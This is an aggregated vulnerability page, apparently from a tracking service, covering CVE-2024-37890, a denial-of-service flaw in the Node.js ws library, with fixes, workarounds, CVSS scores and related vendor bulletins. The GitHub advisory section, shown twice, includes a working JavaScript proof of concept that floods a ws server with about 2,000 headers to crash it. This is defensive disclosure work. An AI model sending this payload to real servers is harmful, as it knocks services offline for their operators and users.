Denial of service when handling a request with many HTTP headers in ws
cve-program · CVE-2024-37890
Publishedws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Read the publisher's advisoryeuvd · EUVD-2024-1899
Publishedws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Read the publisher's advisorynvd · CVE-2024-37890
Publishedws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Read the publisher's advisoryosv · GHSA-3h5v-q93c-6h6q
Published### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e). ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/advisories/GHSA-3h5v-q93c-6h6q - https://www.cve.org/CVERecord?id=CVE-2024-37890 - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2024-37890
PublishedDenial of service when handling a request with many HTTP headers in ws
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Source published
- 17 Jun 2024 19:09:02 UTC
- Source modified
- 2 Aug 2024 03:57:40 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2024-1899
Publishedws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backpo…
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 17, 2024, 7:09:02 PM
dateUpdated: Aug 2, 2024, 3:57:40 AM
16 related source bulletins · separate from aliases
msrc_CVE-2024-37890: Denial of service when handling a request with many HTTP headers in ws
CVE-2024-37890
RHBA-2024:9549: Red Hat Bug Fix Advisory: .NET 8.0 bug fix and enhancement update
CVE-2024-37890
RHBA-2025:4932: Red Hat Bug Fix Advisory: dotnet8.0 bug fix and enhancement update
CVE-2024-37890
WID-SEC-W-2024-1869: IBM App Connect Enterprise: Schwachstelle ermöglicht Denial of Service
CVE-2024-37890
RHSA-2026:83548: Red Hat Security Advisory: Red Hat Ceph Storage
CVE-2019-10790 · CVE-2023-25153 · CVE-2023-28155 · CVE-2023-46159 · CVE-2024-5206 · CVE-2024-11831 · CVE-2024-37890 · CVE-2024-47866 · CVE-2025-7783 · CVE-2025-30156 · CVE-2025-47914 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58181 · CVE-2025-59436 · CVE-2025-64718 · CVE-2025-64756 · CVE-2026-50152
RHSA-2026:3712: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.15.4
CVE-2024-37890 · CVE-2025-6545 · CVE-2025-6547 · CVE-2025-9287 · CVE-2025-9288 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-66506 · CVE-2025-66564
RHSA-2024:4591: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.0 security, enhancement & bug fix update
CVE-2023-43646 · CVE-2023-47108 · CVE-2024-1394 · CVE-2024-5042 · CVE-2024-24783 · CVE-2024-24785 · CVE-2024-24786 · CVE-2024-28176 · CVE-2024-28180 · CVE-2024-28863 · CVE-2024-37890
RHBA-2024:9550: Red Hat Bug Fix Advisory: .NET 6.0 bug fix and enhancement update
CVE-2024-37890
RHSA-2024:6755: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.2 security and bug fix update
CVE-2023-39325 · CVE-2024-6104 · CVE-2024-24789 · CVE-2024-28176 · CVE-2024-28863 · CVE-2024-29180 · CVE-2024-37890 · CVE-2024-41818
WID-SEC-W-2025-0043: IBM QRadar SIEM (Log Source Management App): Mehrere Schwachstellen
CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-47068 · CVE-2024-47875 · CVE-2024-21536 · CVE-2024-21538 · CVE-2024-33883 · CVE-2024-37890 · CVE-2024-4067 · CVE-2024-4068 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-48948 · CVE-2024-48949 · CVE-2024-52798 · CVE-2024-55565 · CVE-2024-45801 · CVE-2024-42459 · CVE-2024-42460 · CVE-2024-42461 · CVE-2024-47764
WID-SEC-W-2025-0001: IBM DB2: Mehrere Schwachstellen
CVE-2021-32740 · CVE-2021-41186 · CVE-2022-0759 · CVE-2022-24795 · CVE-2022-31163 · CVE-2023-39325 · CVE-2023-41993 · CVE-2023-45283 · CVE-2023-45288 · CVE-2023-6597 · CVE-2024-0406 · CVE-2024-20918 · CVE-2024-20952 · CVE-2024-2398 · CVE-2024-24786 · CVE-2024-27281 · CVE-2024-2961 · CVE-2024-29857 · CVE-2024-33599 · CVE-2024-33883 · CVE-2024-37370 · CVE-2024-37371 · CVE-2024-37890 · CVE-2024-39338 · CVE-2024-4068 · CVE-2024-41110 · CVE-2024-41123 · CVE-2024-41946 · CVE-2024-45296 · CVE-2024-45491 · CVE-2024-45590 · CVE-2024-47220 · CVE-2024-47554 · CVE-2024-6119 · CVE-2024-6345
RHSA-2024:5547: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.1 bug fix and security update
CVE-2024-6104 · CVE-2024-24788 · CVE-2024-24790 · CVE-2024-37890
RHSA-2025:8544: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.15.14 Bug Fix Update
CVE-2024-11831 · CVE-2024-21536 · CVE-2024-21538 · CVE-2024-29041 · CVE-2024-29180 · CVE-2024-37890 · CVE-2024-39249 · CVE-2024-45338 · CVE-2024-45590 · CVE-2024-48910 · CVE-2025-22868 · CVE-2025-30204
RHBA-2024:9054: Red Hat Bug Fix Advisory: Red Hat Developer Hub 1.3.1 bugfix release
CVE-2024-21536 · CVE-2024-37890 · CVE-2024-45590
RHSA-2026:3710: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.15.3
CVE-2024-37890 · CVE-2025-6545 · CVE-2025-6547 · CVE-2025-9287 · CVE-2025-9288 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-66506 · CVE-2025-66564
RHSA-2025:8551: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.14.18 Bug Fix Update
CVE-2024-11831 · CVE-2024-21536 · CVE-2024-21538 · CVE-2024-29041 · CVE-2024-29180 · CVE-2024-37890 · CVE-2024-39249 · CVE-2024-45338 · CVE-2024-45590 · CVE-2024-48910
- Source published
- Jun 17, 2024, 7:09:02 PM (timezone not stated)
- Source modified
- Aug 2, 2024, 3:57:40 AM (timezone not stated)
- Saved here
- 15 Nov 2026 02:40:01 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2024-37890
Publishedws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backpo…
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-476
Original publisher date fields
published: 2024-06-17T20:15:13.203
lastModified: 2026-06-17T07:38:59.847
- Source published
- 17 Jun 2024 20:15:13 UTC
- Source modified
- 17 Jun 2026 07:38:59 UTC
- Saved here
- 25 Oct 2026 00:17:15 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-3h5v-q93c-6h6q
Publishedws affected by a DoS when handling a request with many HTTP headers
### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e). ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/advisories/GHSA-3h5v-q93c-6h6q - https://www.cve.org/CVERecord?id=CVE-2024-37890 - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount
- Source published
- 17 Jun 2024 19:09:10 UTC
- Source modified
- 10 Sep 2026 03:50:14 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Publisher rating · HIGH